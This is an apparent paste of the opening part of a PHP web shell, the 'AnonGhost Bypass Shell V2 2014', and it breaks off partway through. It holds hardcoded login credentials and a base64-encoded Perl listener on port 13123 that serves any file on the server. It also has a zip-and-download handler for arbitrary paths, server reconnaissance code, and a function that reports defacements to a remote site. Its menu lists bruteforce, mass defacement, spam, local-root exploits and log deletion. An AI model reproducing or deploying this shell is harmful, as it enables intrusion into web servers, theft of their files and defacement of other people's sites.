· 10 years ago · Apr 15, 2016, 08:21 PM
1<?php
2session_start();
3
4error_reporting(E_ERROR | E_PARSE);
5@ini_set("max_execution_time",0);
6@set_time_limit(0); #No Fx in SafeMode
7@ignore_user_abort(TRUE);
8@set_magic_quotes_runtime(0);
9
10// global configs
11
12$username="AnonGhost";
13$password = "AnonGhost"; // shell password, change it, max 50 chars
14$warn="<center><img src='http://mfs1.cdnsw.com/fs/Nouveau_dossier/6qyet-alarme.gif' height='150px' width='150px'/></center><br>
15<audio autoplay loop > <source src=\"http://soundbible.com/mp3/Red%20Alert-SoundBible.com-108009997.mp3\" type=\"audio/mpeg\"></audio>";
16$about = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center } a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
17 a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;}
18.cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 16px; text-shadow: 0px 0px 3px ; } .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ;}
19div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
20div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }</style>
21<center><span style='font-size:25px; font-family:Fredericka the Great; color:#009900'>
22AnonGhost Bypass Shell V2 2014</span><br><br><font color=\"#007700\" size=\"1pt\">Coded by </font><font color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#007700\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font> | <font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\" size=\"1pt\">AnonGhost Team</font><br><center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
23<br><center><iframe src='https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&send=false&layout=standard&width=400&show_faces=false&action=like&colorscheme=light&font=arial&height=35' scrolling='no' frameborder='0' style='border:none; overflow:hidden; width:350px; height:20px;' allowTransparency='true'></iframe></center></table></div></center><br><font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
24AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></center><br>";
25$ben = "<style type=\"text/css\">body { background-color:#222222; color: rgb(0, 119, 0); text-align: center }
26 </style>
27<center><img src=\"http://www4.0zz0.com/2014/08/22/21/544545766.jpg\" /><br><br><center>
28<span style=\"font-size:30px; font-family:Fredericka the Great; color:#009900\">AnonGhost Bypass Shell V2 2014</span><br><font color=\"#008800\" size=\"1pt\">Coded by </font><font color=\"#00bb00\" size=\"1pt\">Virusa Worm</font> <font color=\"#006600\" size=\"1pt\">-</font> <font color=\"#00bb00\" size=\"1pt\">Mauritania Attacker</font><br><br><center><img src=\"http://www7.0zz0.com/2014/08/22/20/260354169.png\"></center><br><span style=\"font-size:40px; font-family:Fredericka the Great; color:#ff0000\">You Have Been BANNED using this Shell</span><br><br><br><font color=\"#007700\" size=\"1pt\">AnonGhost Bypass Shell V2 2014 is created for Educational Purpose and testing on your own server, and not responsible for any misuse of it.</font> <br><br><font color=\"#009900\" size=\"1pt\">At first a Web Hacker was someone who would spend long hours trying to find bugs and exploit manually.</font><br><font color=\"#009900\" size=\"1pt\">The term has now changed known as a Defacer nowadays.<br>Tools does not Made Hackers , Hackers make Tools.<br>Do not Learn To Hack , Hack to Learn.wkkwk..<br><br><font color=\"#00ff00\" size=\"1pt\">\"</font>Keep Calm and enjoy Hacking \!/<font color=\"#00ff00\" size=\"1pt\">\"</font><br><br><br><font color=\"#007700\" size=\"1pt\">Special thankz to : </font><font color=\"#00bb00\" size=\"1pt\">AnonGhost Team</font><br><br>
29<center><div class=\"logindiv\"><table cellpadding=\"7\" cellspacing=\"2\">
30<center><br><iframe src=\"https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/AnonGhostOfficial2&send=false&layout=standard&width=400&show_faces=false&action=like&colorscheme=light&font=arial&height=35\" scrolling=\"no\" frameborder=\"0\" style=\"border:none; overflow:hidden; width:350px; height:20px;\" allowTransparency=\"true\"></iframe></center></table></div></center><br>
31<font color=\"#009900\" size=\"1pt\">Greetz to : </font><br><font color=\"#00bb00\" size=\"1pt\">
32AnonGhost - Teamp0ison - ZHC - Mauritania HaCker Team - 3xp1r3 Cyber Army - TeaMp0isoN - Robot Pirates - X-Blackerz INC. - Pak Cyber Pyrates - iMHATiMi.ORG - Afghan Cyber Army (ACA) - <font color=\"#007700\" size=\"1pt\">[ </font>Tanpa Bicara - Maniak k4Sur </font><font color=\"#007700\" size=\"1pt\">[pasangan galo.. lol..]]</font><br></font></center>
33</body>
34</html>";
35
36$symlink = stripslashes(base64_decode("IyEvdXNyL2Jpbi9lbnYgcGVybA0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KDQp1c2UgU29ja2V0Ow0KDQokcG9ydCA9IDEzMTIzOw0KDQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoXCd0Y3BcJyk7DQpzb2NrZXQoUywmUEZfSU5FVCwmU09DS19TVFJFQU0sJHByb3RvY29sKSB8fCBkaWU7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kIChTLHNvY2thZGRyX2luKCRwb3J0LElOQUREUl9BTlkpKSB8fCBkaWU7DQpsaXN0ZW4gKFMsMykgfHwgZGllOw0Kd2hpbGUoMSl7DQoJYWNjZXB0IChDT05OLFMpOw0KCSRyZXE9PENPTk4+OyBjaG9tcCgkcmVxKTsgJHJlcT1+cy9cXHIvL2c7DQoJJHJlcSA9fiBzL1xcJShbQS1GYS1mMC05XXsyfSkvcGFjayhcJ0NcJywgaGV4KCQxKSkvc2VnOw0KCQ0KCXByaW50ICRyZXEuXCJcXHJcXG5cIjsNCgkNCgkkaGVhZGVycyA9IFwiSFRUUC8xLjEgMjAwIE9LXFxyXFxuXCI7DQoJJGhlYWRlcnMgLj0gXCJTZXJ2ZXI6IFBlcmxcXHJcXG5cIjsNCgkNCgkkdGFyZ2V0ID0gJHJlcTsNCglpZigkcmVxID1+IC9HRVQgLiogSFRUUC4qLyl7DQoJCSR0YXJnZXQgPX4gcy9HRVRcXCAvLzsNCgkJJHRhcmdldCA9fiBzL1xcIEhUVFAuKi8vOw0KCQkkcmVzcCA9IFwiXCI7DQoJCWlmKC1kICR0YXJnZXQpew0KCQkJaWYoISgkdGFyZ2V0ID1+IC8uKlxcLyskLykpew0KCQkJCSR0YXJnZXQgPSAkdGFyZ2V0LlwiL1wiOw0KCQkJfQ0KCQkJDQoJCQkkcmVzcCA9IFwiPCFET0NUWVBFIGh0bWwgUFVCTElDIFxcXCItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hbC8vRU5cXFwiPg0KCQkJCQk8aHRtbD4NCgkJCQkJPHRpdGxlPkRpcmVjdG9yeSBsaXN0aW5nIGZvciBcIi4kdGFyZ2V0LlwiPC90aXRsZT4NCgkJCQkJPGJvZHk+DQoJCQkJCTxoMj5EaXJlY3RvcnkgbGlzdGluZyBmb3IgXCIuJHRhcmdldC5cIjwvaDI+DQoJCQkJCTxocj48dWw+XCI7DQoJCQkJCQ0KCQkJaWYob3BlbmRpcihESVIsJHRhcmdldCkpew0KCQkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKXsNCgkJCQkJaWYoLWQgJHRhcmdldC4kZmlsZSl7DQoJCQkJCQlpZigoJGZpbGUgZXEgXCIuXCIpIHx8ICgkZmlsZSBlcSBcIi4uXCIpKXsgbmV4dDsgfQ0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIi9cXFwiPlwiLiRmaWxlLlwiLzwvYT48L2xpPlxcclxcblwiOw0KCQkJCQl9DQoJCQkJCWVsc2lmKC1mICR0YXJnZXQuJGZpbGUpew0KCQkJCQkJJHJlc3AgLj0gXCI8bGk+PGEgaHJlZj1cXFwiXCIuJHRhcmdldC4kZmlsZS5cIlxcXCI+XCIuJGZpbGUuXCI8L2E+PC9saT5cXHJcXG5cIjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcihESVIpOw0KCQkJfQ0KDQoJCQkkcmVzcCAuPSBcIjwvdWw+PGhyPg0KCQkJCQk8L2JvZHk+DQoJCQkJCTwvaHRtbD5cIjsNCgkJCQkJDQoJCQkkY29ubGVuID0gbGVuZ3RoKCRyZXNwKTsNCgkJCSRjb250eXBlID0gXCJ0ZXh0L2h0bWxcIjsNCgkJCXByaW50IFwiRGlyIDogXCIuJHRhcmdldC5cIlxcclxcblwiOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJJGNvbmxlbiA9IC1zICR0YXJnZXQ7DQoJCQkkY29udHlwZSA9IFwidGV4dC9wbGFpblwiOw0KCQkJcHJpbnQgXCJGaWxlIDogXCIuJHRhcmdldC5cIiAoXCIuJGNvbmxlbi5cIilcXHJcXG5cIjsNCgkJfQ0KDQoJCXByaW50IFwiY29udHlwZSA6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCXByaW50IFwiY29ubGVuIDogXCIuJGNvbmxlbi5cIlxcclxcblwiOw0KCQkNCgkJJGhlYWRlcnMgLj0gXCJDb250ZW50LVR5cGU6IFwiLiRjb250eXBlLlwiXFxyXFxuXCI7DQoJCSRoZWFkZXJzIC49IFwiQ29udGVudC1MZW5ndGg6IFwiLiRjb25sZW4uXCJcXHJcXG5cIjsNCgkNCgkJcHJpbnQgQ09OTiAkaGVhZGVycy5cIlxcclxcblwiOw0KCQkNCgkJaWYoLWQgJHRhcmdldCl7DQoJCQlwcmludCBDT05OICRyZXNwOw0KCQl9DQoJCWVsc2lmKC1mICR0YXJnZXQpew0KCQkJaWYob3BlbihGSUxFLCR0YXJnZXQpKXsNCgkJCQliaW5tb2RlIEZJTEU7DQoJCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsgDQoJCQkJCXByaW50IENPTk4gJGRhdGE7DQoJCQkJfSANCgkJCQljbG9zZShGSUxFKTsgDQoJCQl9DQoJCX0NCgl9DQoJY2xvc2UgQ09OTjsNCn0NCmV4aXQgMDs="));
37
38function Zip($source, $destination)
39{
40 if (!extension_loaded('zip') || !file_exists($source)) {
41 return false;
42 }
43
44 $zip = new ZipArchive();
45 if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
46 return false;
47 }
48
49 $source = str_replace('\\', '/', realpath($source));
50
51 if (is_dir($source) === true)
52 {
53 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
54
55 foreach ($files as $file)
56 {
57 $file = str_replace('\\', '/', realpath($file));
58
59 if (is_dir($file) === true)
60 {
61 $zip->addEmptyDir(str_replace($source . '/', ', $file . '/'));
62 }
63 else if (is_file($file) === true)
64 {
65 $zip->addFromString(str_replace($source . '/', ', $file), file_get_contents($file));
66 }
67 }
68 }
69 else if (is_file($source) === true)
70 {
71 $zip->addFromString(basename($source), file_get_contents($source));
72 }
73
74 return $zip->close();
75}
76
77function getperms ($file) {
78 $perm = substr(sprintf('%o', fileperms($file)), -4);
79 return $perm;
80}
81
82if(isset($_GET['zip'])) {
83 $src = $_GET['zip'];
84 $dst = getcwd()."/".basename($_GET['zip']).".zip";
85 if (Zip($src, $dst) != false) {
86 $filez = file_get_contents($dst);
87 header("Content-type: application/octet-stream");
88 header("Content-length: ".strlen($filez));
89 header("Content-disposition: attachment; filename=\"".basename($dst)."\";");
90 echo $filez;
91 }
92 exit;
93}
94
95function showDrives()
96 {
97 global $self;
98 foreach(range('A','Z') as $drive)
99 {
100 if(is_dir($drive.':\\'))
101 {
102 ?>
103 <a style="font-family:vernada;color:#00dd00" href='<?php echo $self ?>?go=<?php echo $drive.":\\"; ?>&action=mumpet'>
104 <?php echo $drive.":\\" ?>
105 </a>
106 <?php
107 }
108 }
109 }
110
111
112function HumanReadableFilesize($size)
113 {
114
115 $mod = 1024;
116
117 $units = explode(' ','B KB MB GB TB PB');
118 for ($i = 0; $size > $mod; $i++)
119 {
120 $size /= $mod;
121 }
122
123 return round($size, 2) . ' ' . $units[$i];
124 }
125function getFilePermissions($file)
126{
127
128$perms = fileperms($file);
129
130if (($perms & 0xC000) == 0xC000) {
131 // Socket
132 $info = 's';
133} elseif (($perms & 0xA000) == 0xA000) {
134 // Symbolic Link
135 $info = 'l';
136} elseif (($perms & 0x8000) == 0x8000) {
137 // Regular
138 $info = '-';
139} elseif (($perms & 0x6000) == 0x6000) {
140 // Block special
141 $info = 'b';
142} elseif (($perms & 0x4000) == 0x4000) {
143 // Directory
144 $info = 'd';
145} elseif (($perms & 0x2000) == 0x2000) {
146 // Character special
147 $info = 'c';
148} elseif (($perms & 0x1000) == 0x1000) {
149 // FIFO pipe
150 $info = 'p';
151} else {
152 // Unknown
153 $info = 'u';
154}
155
156// Owner
157$info .= (($perms & 0x0100) ? 'r' : '-');
158$info .= (($perms & 0x0080) ? 'w' : '-');
159$info .= (($perms & 0x0040) ?
160 (($perms & 0x0800) ? 's' : 'x' ) :
161 (($perms & 0x0800) ? 'S' : '-'));
162
163// Group
164$info .= (($perms & 0x0020) ? 'r' : '-');
165$info .= (($perms & 0x0010) ? 'w' : '-');
166$info .= (($perms & 0x0008) ?
167 (($perms & 0x0400) ? 's' : 'x' ) :
168 (($perms & 0x0400) ? 'S' : '-'));
169
170// World
171$info .= (($perms & 0x0004) ? 'r' : '-');
172$info .= (($perms & 0x0002) ? 'w' : '-');
173$info .= (($perms & 0x0001) ?
174 (($perms & 0x0200) ? 't' : 'x' ) :
175 (($perms & 0x0200) ? 'T' : '-'));
176
177return $info;
178
179}
180function dirSize($directory) {
181 $size = 0;
182 foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
183 try {
184 $size += $file->getSize();
185 }
186 catch (Exception $e){ // Symlinks and other shits
187 $size += 0;
188 }
189 }
190 return $size;
191}
192
193
194function ZoneH($url, $hacker, $hackmode,$reson, $site )
195{
196 $k = curl_init();
197 curl_setopt($k, CURLOPT_URL, $url);
198 curl_setopt($k,CURLOPT_POST,true);
199 curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);
200 curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);
201 curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
202 $kubra = curl_exec($k);
203 curl_close($k);return $kubra;
204}
205
206?>
207<html>
208<head>
209<title>AnonGhost Bypass Shell V2 2014</title><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" />
210<style type="text/css">
211*{
212margin:0; padding:0; border:0; }
213body{ background-color: #222222 !important; color: #009900; text-shadow:#000 0px 2px 7px;}
214 a{text-decoration:none; font-family: Tahoma, Geneva; color:#007700; padding:2px 2px;}
215 a:hover{color:#009900; text-shadow:#00ff00 0px 0px 3px;}
216input, textarea, select{ outline: none; }
217a{ text-decoration:none; background:0 !important; color: #007700; text-shadow: #000000 0px 0px 4px; }
218a:hover{ text-decoration:none; color: #00dd00; text-shadow: #00ff00 0px 0px 4px; }
219#menu a{ padding: 3px; border: 1px solid #007700; box-shadow: 0px 0px 3 #007700; color: #007700; text-decoration: none;color: #007700; text-shadow: 0px 0px 0px #007700; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:12px; padding: 1px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(85,85,85) 0px 0px 0px; -moz-box-shadow: rgb(85,85,85) 0px 0px 0px; }
220#menu a:hover{ padding: 3px; border: 1px solid #00bb00; color: #00ff00; box-shadow: 0px 0px 3px #00bb00; text-shadow: 0px 0px 3px #00bb00; padding: 1px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(51,51,51) 0px 0px 3px; -moz-box-shadow: rgb(51,51,51) 0px 0px 3px;}
221#det{ border-top: 1px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:90%;}
222#deti{ border-top: 0px solid #007700; border-bottom: 1px solid #007700; font-family: Tahoma; font-size: 11px; width:47%;}
223input[type=submit]{ padding: 3px; color: #00770; font-weight: bold; text-align: center; text-shadow: 0 1px rgba(255, 255, 255, 0.3); background: #aeaeae; background-clip: padding-box; border: 1px solid #284473; border-bottom-color: #223b66; border-radius: 4px; cursor: pointer; background-image:-webkit-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -moz-linear-gradient(top, #eaeaea, #d0d0d0); background-image: -o-linear-gradient(top, #eaeaea, #d0d0d0); background-image: linear-gradient(to bottom, #eaeaea, #d0d0d0); -webkit-box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); box-shadow: inset 0 1px rgba(255, 255, 255, 0.5), inset 0 0 7px rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.15); }
224input[type=text]{ padding: 3px; color: #009900; text-shadow: #777777 0px 0px 3px; border: 1px solid #007700; background: transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px;
225 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(85,85,85) 0px 0px 4px; -moz-box-shadow: rgb(85,85,85) 0px 0px 4px;}
226input[type=submit]:hover, input[type=text]:hover{ color: #ffffff; text-shadow: #006600 0px 0px 4px; box-shadow: 0px 0px 4px #00dd00; border: 1px solid #00dd00; padding: 3px; -webkit-border-radius: 4px;
227 -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px; -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
228select{ padding: 3px; width: 162px; color: #00aa00; text-shadow:#000 0px 2px 7px; border: 1px solid #007700; background: transparent; text-decoration: none; box-shadow: 0px 0px 4px #00aa00; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px;
229 border-radius: 4px; -webkit-box-shadow: rgb(85, 85, 85) 0px 0px 4px; -moz-box-shadow: rgb(85, 85, 85) 0px 0px 4px;}
230select:hover{ border: 1px solid #00dd00; box-shadow: 0px 0px 4px #00dd00; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,119,0) 0px 0px 4px;
231 -moz-box-shadow: rgba(0,119,0) 0px 0px 4px;}
232#commands{ margin-left: 350px; margin-right: 350px; }
233option{ color: #00aa00; }
234#box{ margin-left: 250px; margin-right: 250px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700;}
235#box span{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px; }
236#box span:hover{ background:#333333; padding: 3px; border: 1px solid #007700; color: #009900; }
237#za{ float:right;
238 border: 0px solid #007700;
239 background: transparent;
240
241 color: #009900;
242 font-size: 11px;
243 font-family: Tahoma, Arial, sans-serif
244 text-decoration: none;
245 vertical-align: middle;
246}
247#za:hover { border-color: #555555; color: #ffffff; }
248#za:active { border-top-color: #e0e000; background: #e0e000; }
249#sourcea{ color: #999999; background-color:transparent; width: 650px; height: 450px; text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #e4e4e4;}
250#source{ color: #007700; background-color:transparent; width: 550px; height: 300px; text-shadow:#000000 0px 2px 7px; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(51,51,51) 0px 0px 4px; -moz-box-shadow: rgb(51,51,51) 0px 0px 4px;}
251
252#onmouseover:hover{ background-color:red; }
253.tul { face:Tahoma, Geneva, sans-serif; font-size: 7pt; }
254.cont a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 14px; text-shadow:0px 2px 7px #333333 ; }
255.cont a:hover{ color: #00dd00 ; text-shadow:0px 0px 4px #00ff00 ; }
256.conte a{ text-decoration: none; color:rgb(0, 119, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 11px; text-shadow:0px 2px 7px #000000 ; width:90%; }
257.conte a:hover{ color: #00dd00 ; font-family: Tahoma, Arial, sans-serif ; font-size: 11px; text-shadow:0px 0px 4px #00dd00 ; }
258.cone a{ text-decoration: none; color:rgb(0, 136, 0); font-family: Tahoma, Arial, sans-serif ; font-size: 11px; text-shadow:0px 2px 7px #000000 ; }
259.cone a:hover{ color: #00ff00 ; text-shadow:0px 0px 3px #007700 ; }
260.footer{ font-family:Tahoma, Arial, sans-serif; color: #ff6000 ; font-size: 11pt; }
261.footer a : hover{ color: #e4e4e4 ; text-shadow: 0px 0px 4px #e4e4e4; }
262.area { color: #00bb00; font-size: 9pt; text-shadow:#000000 0px 2px 7px; background-color:transparent; box-shadow: 0px 0px 4px #009900; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(0,119,0) 0px 0px 4px; -moz-box-shadow: rgb(0,119,0) 0px 0px 4px; }
263.tmp tr td{ border: solid 1px #007700; padding: 2px ; font-size: 11px; }
264.tmp tr td a { text-decoration: none; }
265.tmpe tr td{ font-family: Tahoma; color: #009900; border: solid 0px #007700; padding: 2px ; font-size: 11px; }
266.tmpe tr td a { text-decoration: none; }
267.teke a{ padding: 1px; border: 1px solid #007700; box-shadow: 0px 0px 4px #007700; text-decoration: none; color: #009900; font-weight: bold; font-family: Tahoma, Geneva, sans-serif; font-size:11px; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px; -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;}
268.teke a:hover{ padding: 1px; border: 1px solid #00bb00; color: #e4e4e4; box-shadow: 0px 0px 4px #00bb00; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgba(0,221,0) 0px 0px 4px; -moz-box-shadow: rgba(0,221,0) 0px 0px 4px;}
269div#sonuc{width:400px; height:200px; color: #007700; font-size: 8pt; background-color:transparent; box-shadow: 0px 0px 4px #007700; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px; -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;}
270div#form{font:12px/21px Tahoma;}
271input#submit{width:445px;height:55px;font:19px/21px Arial}
272#ftr{ border-top: 0px solid #ababab; border-bottom: 0px solid #ababab; font-family: ‘Courier New’, Courier, monospace; color: #00bb00; font-size: 10px; width="75%"}
273#ftr:hover{ color:#00ff00; text-shadow:#000000 0px 0px 3px;}
274div.logindiv { background-color:#353535; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #828282; border-radius: 5px; box-shadow: 0px 0px 10px #000000; }
275div.logindiv:hover { background-color:#e4e4e4; width:30%; border-radius:7px; margin-top:2px; -moz-border-radius:25px; height:55px; border: solid 1px #007700; border-radius: 5px; box-shadow: 0px 0px 8px #00bb00; }
276#boxe{ margin-left: 230px; margin-right: 230px; border: 0px solid #007700; border-radius: 4px; box-shadow: 0px 0px 0px #009900;}
277#boxe a{ margin-left: 10px; margin-right: 10px; display:block; padding: 4px;}
278</style>
279</head>
280<body>
281<?php
282
283
284if(isset($_SESSION['loggedin']) && !empty($_SESSION['loggedin'])){
285// welcome user
286echo '<center>'.base64_decode("PGltZyBzcmM9Imh0dHA6Ly93d3c0LjB6ejAuY29tLzIwMTQvMDgvMjIvMjEvNTQ0NTQ1NzY2LmpwZyIgLz4=").'</center>' ;
287echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">';
288echo '<div id="deti"><font color="#009900" style="font-size: 7pt">Kernel Version : </font><font color="#00bb00" style="font-size: 7pt">';echo php_uname();
289echo '</font>';
290
291echo '<br><font color="#009900" style="font-size: 7pt">PHP Version:</font> <font color="00bb00" style="font-size: 7pt">';echo phpversion();
292
293echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Current User :</font> <font color="00bb00" style="font-size: 7pt">';echo get_current_user();
294
295echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">User ID :</font> <font color="00bb00" style="font-size: 7pt">';echo getmyuid();
296
297echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Group :</font> <font color="00bb00" style="font-size: 7pt">';echo getmygid();
298
299echo '</font><font color="#00dd00"> |</font> <font color="#009900" style="font-size: 7pt">Cwd :</font> <font color="00bb00" style="font-size: 7pt">';echo getcwd();
300echo '</font></b></div><br></center>';
301
302?>
303<center>
304<div id="menu" class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:20px; align="center">
305<a href="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>"> Home </a>
306<a href="?action=mumpet"> File Manager </a>
307<a href="?action=sime"> Symlink </a>
308<a href="?action=baipas"> Bypass </a>
309<a href="?action=brut"> Bruteforce </a>
310<a href="?action=mase"> Mass </a>
311<a href="?action=cgi4e"> CGI </a>
312<a href="?action=sesc"> Server Security </a>
313<a href="?action=spammm"> Spam </a>
314<a href="?action=tule"> Tools </a>
315<a href="?action=fcbookk"> Facebook </a>
316<a href="?action=iplookdom"> Ip Reverse </a>
317<a href="?action=w00ts"> LocalRoots </a>
318<a href="?action=scannner"> Scan </a>
319<a href="?action=aplot"> Upload </a>
320<a href="?action=deltlogss"> Logs </a>
321<a href="?action=abot"> About </a>
322<a href="?action=logout"> Logout </a>
323<a href="?action=kill"> Kill </a>
324<audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>
325
326</div><br>
327<div id="det">
328<?php
329if(ini_get('safe_mode') == '1'){
330echo '<font color="#007700"> Safe mode:</font><b class="tul"><font color="red"> ON </font></font></b>-';
331}
332else{
333echo '<font color="#007700"> Safe mode:</font><b class="tul"><font color="ff0000"> OFF </font></b>-';
334}
335if(ini_get('magic_quotes_gpc') == '1'){
336echo '<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="red"> ON </font></b>-';
337}
338else{
339echo '<font color="#007700"> Magic_quotes_gpc:</font><b class="tul"><font color="ff0000"> OFF </font></b>-';
340}
341if(function_exists('mysql_connect')){
342echo '<font color="#007700"> Mysql:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
343}
344else{
345echo '<font color="#007700"> Mysql:</font><b class="tul"><font color="red"> OFF </font></b>-';
346}
347if(function_exists('mssql_connect')){
348echo '<font color="#007700"> Mssql:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
349}
350else{
351echo '<font color="#007700"> Mssql:</font><b class="tul"><font color="ffff00"> OFF </font></b>-';
352}
353if(function_exists('pg_connect')){
354echo '<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
355}
356else{
357echo '<font color="#007700"> PostgreSQL:</font><b class="tul"><font color="ffff00"> OFF </font></b>-';
358}
359if(function_exists('ocilogon')){
360echo '<font color="#007700"> Oracle:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
361}
362else{
363echo '<font color="#007700"> Oracle:</font><b class="tul"><font color="ffff00"> OFF </font></b>-';
364}
365if(function_exists('curl_version')){
366echo '<font color="#007700"> Curl:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
367}
368else{
369echo '<font color="#007700"> Curl:</font><b class="tul"><font color="red"> OFF </font></b>-';
370}
371if(function_exists('exec')){
372echo '<font color="#007700"> Exec:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
373}
374else{
375echo '<font color="#007700"> Exec:</font><b class="tul"><font color="red"> OFF </font></b>-';
376}
377if(!ini_get('open_basedir') != "on"){
378echo '<font color="#007700"> Open_basedir:</font><b class="tul"><font color="red"> OFF </font></b>-';
379}
380else{
381echo '<font color="#007700"> Open_basedir:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
382}
383if(!ini_get('ini_restore') != "on"){
384echo '<font color="#007700"> Ini_restore:</font><b class="tul"><font color="red"> OFF </font></b>-';
385}
386else{
387echo '<font color="#007700"> Ini_restore:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
388}
389if(function_exists('symlink')){
390echo '<font color="#007700"> Symlink:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
391}
392else{
393echo '<font color="#007700"> Symlink:</font><b class="tul"><font color="red"> OFF </font></b>-';
394}
395if(function_exists('file_get_contents')){
396echo '<font color="#007700"> file_get_contents:</font><b class="tul"><font color="ff0000"> ON </font></b>-';
397}
398else{
399echo '<font color="#007700"> file_get_contents:</font><b class="tul"><font color="red"> OFF </font></b>-';
400}
401if(is_dir('sim/rut')){
